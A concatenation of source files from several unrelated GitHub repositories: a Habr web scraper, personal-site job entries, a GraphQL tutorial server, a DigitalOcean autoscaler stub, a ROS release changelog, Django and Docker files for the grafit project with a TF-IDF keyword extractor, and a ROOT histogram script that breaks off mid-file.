import requests
import re
from bs4 import BeautifulSoup
from pprint import pprint
KEYWORDS = {'дизайн', 'фото', 'web', 'python'}
response = requests.get('https://habr.com/ru/all/')
if not response.ok:
raise ValueError('Responce not valid')
text = response.text
soup = BeautifulSoup(text, features='html.parser')
articles = soup.find_all('article')
for article in articles:
news_text = article.find('div', class_='post__text')
news_words = set(re.split('[\s\W]+', news_text.text))
if KEYWORDS & news_words:
post_time = article.find('span', class_='post__time').text
post_header = article.find('a', class_='post__title_link')
print(f'{post_time} - {post_header.text} - {post_header.attrs.get("href")} ')
|
e2b3227a380f71a749e7c29ac58dc1b89d9b059c
|
[
"Python"
] | 1 |
Python
|
yarmoscow/hw-webscrapping
|
9cec0fc730f1025ecea05a00c2f3c8d511e8c8aa
|
4c0a5bae0938833e843a047347945eb4c0827494
|
refs/heads/master
|
<repo_name>ClaireSmid/seowxft.github.io<file_sep>/content/jobs/2011UCL/index.md
---
date: '2011-09-23'
title: 'Msci. Neuroscience'
company: 'UCL'
location: 'London, UK'
range: '2011 - 2015'
url: 'https://www.ucl.ac.uk/prospective-students/undergraduate/degrees/neuroscience-msci'
---
- Wellcome Trust Centre for Neuroimaging, University College London, United Kingdom
- Thesis title: Choice Dynamics with MEG
- Supervisor: **[Dr <NAME>](https://www.huntlab.co.uk/)**
<file_sep>/content/jobs/2020Hauser/index.md
---
date: '2020-06-23'
title: 'Research Fellow'
company: 'DevComPsy Lab'
location: 'London, UK'
range: '2020 - present'
url: 'https://devcompsy.org/'
---
- Max Planck UCL Centre for Computational Psychiatry and Ageing Research, University College London, United Kingdom
- Supervisor: **[Dr <NAME>](https://devcompsy.org/)**
<file_sep>/content/jobs/2017Gillan/index.md
---
date: '2017-03-01'
title: 'PhD Psychology'
company: 'TCD - Gillan Lab'
location: 'Dublin, Ireland'
range: '2017 - 2020'
url: 'https://gillanlab.com/'
---
- School of Psychology, Trinity College Dublin, Ireland
- Thesis title: The neurocognitive correlates of compulsivity
- Supervisor: **[Dr <NAME>](https://gillanlab.com/)**
> [Read my thesis here](/files/SeowXingFangTricia_theNeurocognitiveCorrelatesofCompulsivity.pdf)
|
4be75b4cfc69d1f879bd53b89d407673c8b8e2be
|
[
"Markdown"
] | 3 |
Markdown
|
ClaireSmid/seowxft.github.io
|
21e40b1c310fee9edb06211487d007fbb373ba58
|
4ca410d7fee97656e59f96861d5dc1e4291b9cf2
|
refs/heads/main
|
<file_sep><p>
This is a repo for a GraphQL tutorial I am completing.
</p>
<file_sep>// imports
const { ApolloServer } = require('apollo-server');
// 1 - the type definition which defines the schema
// No longer needed because separated out into own file
// const typeDefs = `
// type Query {
// info: String!
// feed: [Link!]!
// }
// type Mutation {
// post(url: String!, description: String!): Link!
// }
// type Link {
// id: ID!
// description: String!
// url: String!
// }
// `
// dummy data
let links = [{
id: 'link-0',
url: 'www.howtographql.com',
description: 'Fullstack tutorial for GraphQL'
}]
// 2 - implementation of the schema
// structure is the same as the structure of the type definition
// Every schema has 3 different root types that corrspond to operation types (Query, Mutation and Subscription)
// The fields on these root types are called root fields and define the available API operations
// this schema only has a single root field called info (type = query)
// when sending a query, mutation or subscription to a graphQL API - they always need to start with a root field
// const resolvers = {
// Query: {
// info: () => `This is the API of a Hackernews Clone`
// }
// }
// all fields not just root fields have resolver functions
const resolvers = {
Query: {
info: () => `This is the API of a Hackernews Clone`,
feed: () => links,
},
Mutation: {
// 2
post: (parent, args) => {
let idCount = links.length
const link = {
id: `link-${idCount++}`,
description: args.description,
url: args.url,
}
links.push(link)
return link
}
},
}
// 3 - schema and resolvers are bundles and passed to ApolloServer
// ApolloServer is imported from apollo-server
// this tells the server what operations are accepted
// and how they should be resolved
const server = new ApolloServer({
// referencing a file that contains the schema definition
typeDefs: fs.readFileSync(
path.join(__dirname, 'schema.graphql'),
'utf8'
),
resolvers,
})
server
.listen()
.then(({ url }) =>
console.log(`Server is running on ${url}`)
);
|
00092bdbb105d565a23f0b6014a978f070d5839f
|
[
"Markdown",
"JavaScript"
] | 2 |
Markdown
|
saraevs/hackernews-node
|
d6a2d1c6aaf721bd44e5c0df83b6a6286e91b15f
|
76ae7921c2b34eff32bbe155de402f9057bf8ad5
|
refs/heads/master
|
<file_sep>NAME = sdsc-atlas-roll-test
VERSION = 1
RELEASE = 2
PKGROOT = /root/rolltests
RPM.EXTRAS = AutoReq:No
|
48fb3495c113e72812b8896a9315f3818abab6c9
|
[
"Makefile"
] | 1 |
Makefile
|
nscr/atlas-roll
|
51658b8ccb34f43eb8dcdb4122f04282205ea7b4
|
c8e6c8c7eb436067a70f00a952f3980c89c9313c
|
refs/heads/main
|
<repo_name>lyonbach/lyonbach.github.io<file_sep>/README.md
# lyonbach.github.io
|
7249c333800fe77eb0d2fe48bb343d2ef85b96a7
|
[
"Markdown"
] | 1 |
Markdown
|
lyonbach/lyonbach.github.io
|
d3279ea16785e8f980cd7da8f8c6caad83b67189
|
7ee0aa5ab3340ce33be2c72166b49c3afe646f4d
|
refs/heads/master
|
<file_sep>/*
Copyright 2016 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package digitalocean
import (
"github.com/digitalocean/godo"
"k8s.io/autoscaler/cluster-autoscaler/cloudprovider"
"net/http"
"net/url"
"context"
"fmt"
"regexp"
//"github.com/digitalocean/godo"
)
var (
tagRegex = regexp.MustCompile("^pool-.*")
)
type DOManager interface {
GetNodeGroups() []cloudprovider.NodeGroup
SetURL(string)
}
type doManagerImpl struct {
doClient *godo.Client
}
func NewDOManager() DOManager {
client := godo.NewClient(&http.Client{})
return &doManagerImpl{
doClient: client,
}
}
func (d *doManagerImpl) SetURL(toUrl string) {
parsed, _ := url.Parse(toUrl)
d.doClient.BaseURL = parsed
}
func (d *doManagerImpl) GetNodeGroups() []cloudprovider.NodeGroup {
ctx := context.TODO()
tags, _, err := d.doClient.Tags.List(ctx, &godo.ListOptions{})
if err != nil {
panic(err)
}
pools := []cloudprovider.NodeGroup{}
for _, tag := range tags {
if ! tagRegex.MatchString(tag.Name) {
continue
}
pools = append(pools, &doPool{
doManager: d,
id: tag.Name,
})
}
fmt.Println(tags)
return pools
}
|
ddd17ff8e6b510147fe4ead7a2df89b6610e0f9e
|
[
"Go"
] | 1 |
Go
|
justinbarrick/autoscaler
|
3b671c4ab9ae8b0c47bdb63579f92b930e050504
|
8e46a2970c847da01d4dc5eea35a5f562bde61e4
|
refs/heads/master
|
<file_sep>## pyros_config (lunar) - 0.2.0-0
The packages in the `pyros_config` repository were released into the `lunar` distro by running `/usr/bin/bloom-release --rosdistro lunar --track lunar pyros_config --edit` on `Thu, 10 Aug 2017 01:20:26 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/pyros-dev/pyros-config.git
- release repository: unknown
- rosdistro version: `null`
- old version: `null`
- new version: `0.2.0-0`
Versions of tools used:
- bloom version: `0.5.26`
- catkin_pkg version: `0.3.5`
- rosdep version: `0.11.5`
- rosdistro version: `0.6.2`
- vcstools version: `0.1.39`
## pyros_config (indigo) - 0.2.0-0
The packages in the `pyros_config` repository were released into the `indigo` distro by running `/usr/bin/bloom-release --rosdistro indigo --track indigo pyros_config` on `Thu, 23 Mar 2017 09:56:17 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: https://github.com/asmodehn/pyros-config-rosrelease.git
- rosdistro version: `0.1.5-0`
- old version: `0.1.5-0`
- new version: `0.2.0-0`
Versions of tools used:
- bloom version: `0.5.25`
- catkin_pkg version: `0.3.1`
- rosdep version: `0.11.5`
- rosdistro version: `0.6.1`
- vcstools version: `0.1.39`
## pyros_config (jade) - 0.2.0-0
The packages in the `pyros_config` repository were released into the `jade` distro by running `/usr/bin/bloom-release --rosdistro jade --track jade pyros_config` on `Thu, 23 Mar 2017 06:00:11 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: https://github.com/asmodehn/pyros-config-rosrelease.git
- rosdistro version: `0.1.5-0`
- old version: `0.1.5-0`
- new version: `0.2.0-0`
Versions of tools used:
- bloom version: `0.5.25`
- catkin_pkg version: `0.3.1`
- rosdep version: `0.11.5`
- rosdistro version: `0.6.1`
- vcstools version: `0.1.39`
## pyros_config (kinetic) - 0.2.0-0
The packages in the `pyros_config` repository were released into the `kinetic` distro by running `/usr/bin/bloom-release --track kinetic --rosdistro kinetic pyros_config` on `Tue, 21 Mar 2017 08:23:16 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: https://github.com/asmodehn/pyros-config-rosrelease.git
- rosdistro version: `0.1.5-1`
- old version: `0.1.5-1`
- new version: `0.2.0-0`
Versions of tools used:
- bloom version: `0.5.25`
- catkin_pkg version: `0.2.10`
- rosdep version: `0.11.5`
- rosdistro version: `0.4.4`
- vcstools version: `0.1.39`
## pyros_config (kinetic) - 0.1.5-1
The packages in the `pyros_config` repository were released into the `kinetic` distro by running `/usr/bin/bloom-release --rosdistro kinetic --track kinetic pyros_config` on `Tue, 06 Sep 2016 05:46:23 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: unknown
- rosdistro version: `null`
- old version: `0.1.5-0`
- new version: `0.1.5-1`
Versions of tools used:
- bloom version: `0.5.22`
- catkin_pkg version: `0.2.10`
- rosdep version: `0.11.5`
- rosdistro version: `0.4.7`
- vcstools version: `0.1.38`
## pyros_config (kinetic) - 0.1.5-0
The packages in the `pyros_config` repository were released into the `kinetic` distro by running `/usr/bin/bloom-release --rosdistro kinetic --track kinetic pyros_config` on `Tue, 06 Sep 2016 03:09:17 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: unknown
- rosdistro version: `null`
- old version: `null`
- new version: `0.1.5-0`
Versions of tools used:
- bloom version: `0.5.22`
- catkin_pkg version: `0.2.10`
- rosdep version: `0.11.5`
- rosdistro version: `0.4.7`
- vcstools version: `0.1.38`
## pyros_config (jade) - 0.1.5-0
The packages in the `pyros_config` repository were released into the `jade` distro by running `/usr/bin/bloom-release --rosdistro jade --track jade pyros_config` on `Fri, 02 Sep 2016 08:50:23 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: https://github.com/asmodehn/pyros-config-rosrelease.git
- rosdistro version: `0.1.3-0`
- old version: `0.1.3-0`
- new version: `0.1.5-0`
Versions of tools used:
- bloom version: `0.5.21`
- catkin_pkg version: `0.2.10`
- rosdep version: `0.11.5`
- rosdistro version: `0.4.7`
- vcstools version: `0.1.38`
## pyros_config (indigo) - 0.1.5-0
The packages in the `pyros_config` repository were released into the `indigo` distro by running `/usr/bin/bloom-release --rosdistro indigo --track indigo pyros_config` on `Wed, 31 Aug 2016 08:26:03 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: https://github.com/asmodehn/pyros-config-rosrelease.git
- rosdistro version: `0.1.3-1`
- old version: `0.1.3-1`
- new version: `0.1.5-0`
Versions of tools used:
- bloom version: `0.5.21`
- catkin_pkg version: `0.2.10`
- rosdep version: `0.11.5`
- rosdistro version: `0.4.7`
- vcstools version: `0.1.38`
## pyros_config (jade) - 0.1.3-0
The packages in the `pyros_config` repository were released into the `jade` distro by running `/usr/bin/bloom-release --rosdistro jade --track jade pyros_config --edit` on `Thu, 25 Aug 2016 10:59:12 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: https://github.com/asmodehn/pyros-config-rosrelease.git
- rosdistro version: `0.1.2-0`
- old version: `0.1.2-0`
- new version: `0.1.3-0`
Versions of tools used:
- bloom version: `0.5.21`
- catkin_pkg version: `0.2.10`
- rosdep version: `0.11.5`
- rosdistro version: `0.4.7`
- vcstools version: `0.1.38`
## pyros_config (indigo) - 0.1.3-1
The packages in the `pyros_config` repository were released into the `indigo` distro by running `/usr/bin/bloom-release --rosdistro indigo --track indigo pyros_config` on `Tue, 16 Aug 2016 03:26:05 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: https://github.com/asmodehn/pyros-config-rosrelease.git
- rosdistro version: `0.1.3-0`
- old version: `0.1.3-0`
- new version: `0.1.3-1`
Versions of tools used:
- bloom version: `0.5.21`
- catkin_pkg version: `0.2.10`
- rosdep version: `0.11.5`
- rosdistro version: `0.4.7`
- vcstools version: `0.1.38`
## pyros_config (indigo) - 0.1.3-0
The packages in the `pyros_config` repository were released into the `indigo` distro by running `/usr/bin/bloom-release --rosdistro indigo --track indigo pyros_config --edit` on `Wed, 10 Aug 2016 23:49:04 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: https://github.com/asmodehn/pyros-config-rosrelease.git
- rosdistro version: `0.1.2-0`
- old version: `0.1.2-0`
- new version: `0.1.3-0`
Versions of tools used:
- bloom version: `0.5.21`
- catkin_pkg version: `0.2.10`
- rosdep version: `0.11.5`
- rosdistro version: `0.4.7`
- vcstools version: `0.1.38`
## pyros_config (jade) - 0.1.2-0
The packages in the `pyros_config` repository were released into the `jade` distro by running `/usr/bin/bloom-release --track jade --rosdistro jade pyros_config` on `Fri, 03 Jun 2016 03:05:40 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: unknown
- rosdistro version: `null`
- old version: `null`
- new version: `0.1.2-0`
Versions of tools used:
- bloom version: `0.5.21`
- catkin_pkg version: `0.2.10`
- rosdep version: `0.11.4`
- rosdistro version: `0.4.7`
- vcstools version: `0.1.38`
## pyros_config (indigo) - 0.1.2-0
The packages in the `pyros_config` repository were released into the `indigo` distro by running `/usr/bin/bloom-release --track indigo --rosdistro indigo pyros_config` on `Fri, 03 Jun 2016 02:57:59 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: https://github.com/asmodehn/pyros-config-rosrelease.git
- rosdistro version: `0.1.1-0`
- old version: `0.1.1-0`
- new version: `0.1.2-0`
Versions of tools used:
- bloom version: `0.5.21`
- catkin_pkg version: `0.2.10`
- rosdep version: `0.11.4`
- rosdistro version: `0.4.7`
- vcstools version: `0.1.38`
## pyros_config (indigo) - 0.1.1-0
The packages in the `pyros_config` repository were released into the `indigo` distro by running `/usr/bin/bloom-release --track indigo --rosdistro indigo pyros_config` on `Thu, 02 Jun 2016 01:19:44 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: https://github.com/asmodehn/pyros-config-rosrelease.git
- rosdistro version: `0.1.0-0`
- old version: `0.1.0-0`
- new version: `0.1.1-0`
Versions of tools used:
- bloom version: `0.5.21`
- catkin_pkg version: `0.2.10`
- rosdep version: `0.11.4`
- rosdistro version: `0.4.7`
- vcstools version: `0.1.38`
## pyros_config (indigo) - 0.1.0-0
The packages in the `pyros_config` repository were released into the `indigo` distro by running `/usr/bin/bloom-release --track indigo --rosdistro indigo pyros_config` on `Wed, 01 Jun 2016 01:25:40 -0000`
The `pyros_config` package was released.
Version of package(s) in repository `pyros_config`:
- upstream repository: https://github.com/asmodehn/pyros-config.git
- release repository: unknown
- rosdistro version: `null`
- old version: `null`
- new version: `0.1.0-0`
Versions of tools used:
- bloom version: `0.5.21`
- catkin_pkg version: `0.2.10`
- rosdep version: `0.11.4`
- rosdistro version: `0.4.7`
- vcstools version: `0.1.38`
# pyros-config-rosrelease
Releasing https://github.com/pyros-dev/pyros-config for ROS
| Indigo | Jade | Kinetic |
|:------:|:----:|:-------:|
| [](https://travis-ci.org/pyros-dev/pyros-config-rosrelease) | [](https://travis-ci.org/pyros-dev/pyros-config-rosrelease) | [](https://travis-ci.org/pyros-dev/pyros-config-rosrelease) |
|
23aa26e9b5e77e81c62abab9260b20a53820ca61
|
[
"Markdown"
] | 1 |
Markdown
|
pyros-dev/pyros-config-rosrelease
|
c9406e548bfaa4187772f8cce4c93acde3ec0cc9
|
9e9b36e26902342fad14b815eb362bb97936751f
|
refs/heads/master
|
<repo_name>fossabot/grafit<file_sep>/Dockerfile
FROM python:3.6
LABEL Name=grafit Version=0.0.1
EXPOSE 8000
# Using pipenv:
COPY ./Pipfile Pipfile
COPY ./Pipfile.lock Pipfile.lock
RUN pip install pipenv
RUN pipenv install --system --deploy --ignore-pipfile
COPY ./backend /code
WORKDIR /code
# Migrates the database, uploads staticfiles
# TODO run with gunicorn
CMD ./manage.py migrate && \
./manage.py collectstatic --noinput && \
gunicorn --bind 0.0.0.0:8000 --access-logfile - backend.wsgi:application
<file_sep>/backend/grafit/views.py
from django.contrib.auth.models import Group
from .models import User, Article
from rest_framework import viewsets, mixins
from rest_framework.permissions import AllowAny
from grafit.serializers import UserSerializer, GroupSerializer, CreateUserSerializer, ArticleSerializer
class UserViewSet(mixins.RetrieveModelMixin,
mixins.UpdateModelMixin,
viewsets.GenericViewSet):
"""
API endpoint that allows users to be viewed or edited.
"""
queryset = User.objects.all().order_by('-date_joined')
serializer_class = UserSerializer
class UserCreateViewSet(mixins.CreateModelMixin,
viewsets.GenericViewSet):
"""
Creates user accounts
"""
queryset = User.objects.all()
serializer_class = CreateUserSerializer
permission_classes = (AllowAny,)
class GroupViewSet(viewsets.ModelViewSet):
"""
API endpoint that allows groups to be viewed or edited.
"""
queryset = Group.objects.all()
serializer_class = GroupSerializer
class ArticleViewSet(viewsets.ModelViewSet):
queryset = Article.objects.all()
serializer_class = ArticleSerializer
<file_sep>/concept_extractor/tests/test_extractor.py
from concept_extractor.extractor import FakeExtractStrategy, TextblobTfIdfExtractStrategy
def test_function():
assert FakeExtractStrategy().extract_keyphrases("testtestest") == ["test"]
def test_tfidf_strategy():
# test load corpus
keyword_extractor = TextblobTfIdfExtractStrategy()
def test_tfidf_strategy_top_word():
keyword_extractor = TextblobTfIdfExtractStrategy()
keywords = keyword_extractor.extract_keyphrases(
"Vulkan Vulkan Vulkan Ollagüe (Spanish pronunciation: [oˈʝaɣwe]) or Ullawi (Aymara pronunciation: [uˈʎawi]) is a massive andesite stratovolcano in the Andes on the border between Bolivia and Chile, within the Antofagasta Region of Chile and the Potosi Department of Bolivia. Part of the Central Volcanic Zone of the Andes, its highest summit is 5,868 metres (19,252 ft) above sea level and features a summit crater that opens to the south. The western rim of the summit crater is formed by a compound of lava domes, the youngest of which features a vigorous fumarole that is visible from afar.")
assert keywords[0]['word'] == "Vulkan"
def test_tfidf_strategy_nr_keywords():
keyword_extractor = TextblobTfIdfExtractStrategy()
keywords = keyword_extractor.extract_keyphrases(
"Vulkan Vulkan Vulkan Ollagüe (Spanish pronunciation: [oˈʝaɣwe]) or Ullawi (Aymara pronunciation: [uˈʎawi]) is a massive andesite stratovolcano in the Andes on the border between Bolivia and Chile, within the Antofagasta Region of Chile and the Potosi Department of Bolivia. Part of the Central Volcanic Zone of the Andes, its highest summit is 5,868 metres (19,252 ft) above sea level and features a summit crater that opens to the south. The western rim of the summit crater is formed by a compound of lava domes, the youngest of which features a vigorous fumarole that is visible from afar.", top_n_words=10)
assert len(keywords) == 10
<file_sep>/.github/ISSUE_TEMPLATE/feature.md
---
name: Feature
about: Suggest an idea for this project
---
**Description of problem**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Solution**
A clear and concise description of what you want to happen.
**Additional context**
Add any other context or screenshots about the feature request here.
**Criteria for acceptance**
A clear and concise list of what needs to happen.
<file_sep>/backend/backend/urls.py
from django.contrib import admin
from django.urls import path, include, re_path, reverse_lazy
from rest_framework import routers
from grafit import views
from django.views.generic.base import RedirectView
from rest_framework.authtoken.views import obtain_auth_token
router = routers.DefaultRouter()
router.register(r'users', views.UserViewSet)
router.register(r'users', views.UserCreateViewSet)
router.register(r'groups', views.GroupViewSet)
router.register(r'articles', views.ArticleViewSet)
urlpatterns = [
path('admin/', admin.site.urls),
path('api/v1/', include(router.urls)),
path('api-token-auth/', obtain_auth_token),
path('api-auth/', include('rest_framework.urls', namespace='rest_framework')),
# the 'api-root' from django rest-frameworks default router
# http://www.django-rest-framework.org/api-guide/routers/#defaultrouter
re_path(r'^$', RedirectView.as_view(url=reverse_lazy('api-root'), permanent=False)),
]
<file_sep>/backend/grafit/apps.py
from django.apps import AppConfig
class GrafitConfig(AppConfig):
name = 'grafit'
<file_sep>/mkdocs/Dockerfile
FROM python:3.6
LABEL Name=grafit_docs Version=0.0.1
EXPOSE 8001
# Using pip
RUN pip install mkdocs
COPY . /code
WORKDIR /code
CMD mkdocs serve
<file_sep>/README.md
# grafit
[](https://travis-ci.com/grafit-io/grafit)[](https://app.fossa.io/projects/git%2Bgithub.com%2Fgrafit-io%2Fgrafit?ref=badge_shield)
## License
[](https://app.fossa.io/projects/git%2Bgithub.com%2Fgrafit-io%2Fgrafit?ref=badge_large)<file_sep>/concept_extractor/extractor.py
import abc
import csv
from textblob import TextBlob as tb
import math
from pkg_resources import resource_string
class ExtractStrategyAbstract(object):
"""Abstract strategy class for the extract method."""
__metaclass__ = abc.ABCMeta # define as absctract class
@abc.abstractmethod
def extract_keyphrases(self, text: str):
"""Required Method"""
class FakeExtractStrategy(ExtractStrategyAbstract):
def extract_keyphrases(self, text: str):
return ["test"]
class TextblobTfIdfExtractStrategy(ExtractStrategyAbstract):
def __init__(self):
self.corpus = self.load_corpus()
def tf(self, word, blob):
return blob.words.count(word) / len(blob.words)
def n_containing(self, word, corpus):
return sum(1 for blob in corpus if word in blob.words)
def idf(self, word, corpus):
return math.log(len(corpus) / (1 + self.n_containing(word, corpus)))
def tfidf(self, word, blob, corpus):
return self.tf(word, blob) * self.idf(word, corpus)
def load_corpus(self):
raw_csv = resource_string(
'resources', 'grafit_public_article.csv').decode('utf-8').splitlines()
results = list(csv.reader(raw_csv, delimiter=','))
tbs = []
for result in results:
tbs.append(tb(result[1] + " " + result[2]))
return tbs
def extract_keyphrases(self, text: str, top_n_words=5):
result = []
blob = tb(text)
scores = {word: self.tfidf(word, blob, self.corpus)
for word in blob.words}
sorted_words = sorted(scores.items(), key=lambda x: x[1], reverse=True)
for word, score in sorted_words[:top_n_words]:
result.append({
"word": word,
"tf-idf": score
})
return result
def main():
keyword_extractor = TextblobTfIdfExtractStrategy()
print(keyword_extractor.extract_keyphrases("Vulkan Vulkan Vulkan Ollagüe (Spanish pronunciation: [oˈʝaɣwe]) or Ullawi (Aymara pronunciation: [uˈʎawi]) is a massive andesite stratovolcano in the Andes on the border between Bolivia and Chile, within the Antofagasta Region of Chile and the Potosi Department of Bolivia. Part of the Central Volcanic Zone of the Andes, its highest summit is 5,868 metres (19,252 ft) above sea level and features a summit crater that opens to the south. The western rim of the summit crater is formed by a compound of lava domes, the youngest of which features a vigorous fumarole that is visible from afar."))
if __name__ == '__main__':
main()
<file_sep>/concept_extractor/README.md
# Concept Extractor
Install Dependencies
```
pipenv install
pipenv shell
```
Run Tests
```
PYTHONPATH=./concept_extractor pytest
```<file_sep>/backend/grafit/serializers.py
from django.contrib.auth.models import Group
from .models import User, Article
from rest_framework import serializers
class UserSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = User
fields = ('url', 'username', 'email', 'groups', 'first_name', 'last_name')
class CreateUserSerializer(serializers.ModelSerializer):
def create(self, validated_data):
# call create_user on user object. Without this
# the password will be stored in plain text.
user = User.objects.create_user(**validated_data)
return user
class Meta:
model = User
fields = ('url', 'username', 'password', 'first_name', 'last_name', 'email', 'auth_token',)
read_only_fields = ('auth_token',)
extra_kwargs = {'password': {'write_only': True}}
class GroupSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Group
fields = ('url', 'name')
class ArticleSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Article
fields = ('url', 'title', 'text')
<file_sep>/mkdocs/docs/index.md
# grafit-io
[](https://travis-ci.org/grafit-io/grafit)
# Prerequisites
- Docker [Mac](https://docs.docker.com/docker-for-mac/install/) / [Windows](https://docs.docker.com/docker-for-windows/install/)
# Initialize the project
Start the dev server for local development:
```bash
docker-compose up
```
Create a superuser to login to the admin:
```bash
docker-compose run --rm backend ./manage.py createsuperuser
```
For database migrations run:
```bash
docker-compose run --rm backend ./manage.py makemigrations
```
# Continuous Deployment
Deployment automated via Travis. ... TODO
|
742d6659dfaa8983397c10f42a7bd6b5926f365f
|
[
"Markdown",
"Dockerfile",
"Python"
] | 12 |
Markdown
|
fossabot/grafit
|
c7328cc7ed4d37d36fc735944aa8763fad090d97
|
d0adf55a6395bfefd063ab8e87854ea59b69a942
|
refs/heads/master
|
<file_sep>package com.example.sweater.service;
import com.example.sweater.repos.UserRepo;
import com.example.sweater.domain.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class UserService implements UserDetailsService {
@Autowired
private UserRepo userRepo;
@Override
public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
return userRepo.findByUsername(username);
}
public User findUserByUsername(String username){
return userRepo.findByUsername(username);
}
public void saveUser(User user){
userRepo.save(user);
}
public List<User> findAllUser() {
return userRepo.findAll();
}
}
<file_sep># Sweater
Something like twitter
|
e93296d460ec22ec0a36c828925731e5879a9343
|
[
"Java",
"Markdown"
] | 2 |
Java
|
Kerusak/Sweater
|
8667cd01eaac65b20670589af2e89ee74b58a01b
|
bbe6c6d01246968cbc22cd0408f31e77ab85a16d
|
refs/heads/master
|
<repo_name>zhuhel/scripts_backup<file_sep>/fillHist.py
#!/usr/bin/env python
import os, sys
import operator
from ROOT import TFile,TTree,TChain, Double, TBranch, TH1F, TH2F
import ROOT as r
from array import array
import math
class DileptonType:
NA = 0
_ee = 1
_mm = 2
_em = 3
def stdCal(hist, mean=-1):
sq_sum = 0
nWts = hist.GetNbinsX()
for iwt in range(nWts):
sq_sum = sq_sum + math.pow( (hist.GetBinContent(iwt+1)-mean), 2)
std = math.sqrt( sq_sum/nWts )
return std
def fillHist(input="", output="", outdir=""):
trname="truth"
tfin=TFile.Open(input)
tr=tfin.Get(trname)
logout=open("%s/eventInfo_%s.txt" % (outdir, output), 'a+')
tfout=TFile.Open("%s/hist_%s.root" % (outdir, output), 'RECREATE')
#chs=["4mu", "4e", "2e2mu", "incl"]
cuts=["All", "VBS"]
## event loop
nEntries=tr.GetEntries()
print 'Info=> Total number of events: ', nEntries
nPassed=0
pass_cuts={}
dict_cut_count={}
##----------------- Define histograms -------------------
nWts=101
hist_dict_pdf_weights={}
hist_dict_extpdf_weights={}
hist_dict_scale_weights={}
for ic, cut in enumerate(cuts):
hname="pdf_weights_%s" % (cut)
hist=TH1F(hname, hname, nWts, 0, nWts)
hist.SetDirectory(tfout)
hist.Sumw2()
hist_dict_pdf_weights[cut]=hist
hname="extpdf_weights_%s" % (cut)
hist=TH1F(hname, hname, 3, 0, 3)
hist.SetDirectory(tfout)
hist.Sumw2()
hist_dict_extpdf_weights[cut]=hist
hname="scale_weights_%s" % (cut)
hist=TH1F(hname, hname, 13, 0, 13)
hist.SetDirectory(tfout)
hist.Sumw2()
hist_dict_scale_weights[cut]=hist
tr.SetBranchStatus("*",0)
tr.SetBranchStatus("mc_weight",1)
tr.SetBranchStatus("pass_VBS",1)
tr.SetBranchStatus("pdf_weights",1)
for i in range(nEntries):
#for tr in Tree:
#if i>1000: break
tr.GetEntry(i)
if i%10000==0: print 'Info=> Processed events: ', i
nLep=4
nPassed+=1
wt=tr.mc_weight
## apply some cuts
for ic, cut in enumerate(cuts):
if cut not in dict_cut_count: dict_cut_count[cut]=0
pass_cuts[cut]=0 ## reset
pass_cuts["All"]=1
if tr.pass_VBS==1: pass_cuts["VBS"]=1
for ic, cut in enumerate(cuts):
if pass_cuts[cut]==0: continue
dict_cut_count[cut] += 1.
for iwt in range(nWts):
#hist_dict_pdf_weights[cut].Fill(iwt, wt*tr.pdf_weights.at(iwt)*12.196/151597.89)
hist_dict_pdf_weights[cut].Fill(iwt, wt*tr.pdf_weights.at(iwt)*1363.9/411962.56)
for j in range(101,103):
#hist_dict_extpdf_weights[cut].Fill(j-100, wt*tr.pdf_weights.at(j)*12.196/151597.89)
hist_dict_extpdf_weights[cut].Fill(j-100, wt*tr.pdf_weights.at(j)*1363.9/411962.56)
#hist_dict_scale_weights[cut].SetBinContent(1, wt*tr.pdf_weights.at(1)*12.196/151597.89 )
#hist_dict_extpdf_weights[cut].Fill(0, wt*tr.pdf_weights.at(0)*12.196/151597.89 )
hist_dict_extpdf_weights[cut].Fill(0, wt*tr.pdf_weights.at(0)*1363.9/411962.56 )
## calculate the std of each histograms
for ic, cut in enumerate(cuts):
mean = hist_dict_pdf_weights[cut].GetBinContent(1)
if mean==0:
print "WARNNING: no events left in cut %s" %(cut)
continue
std = stdCal(hist_dict_pdf_weights[cut], mean)
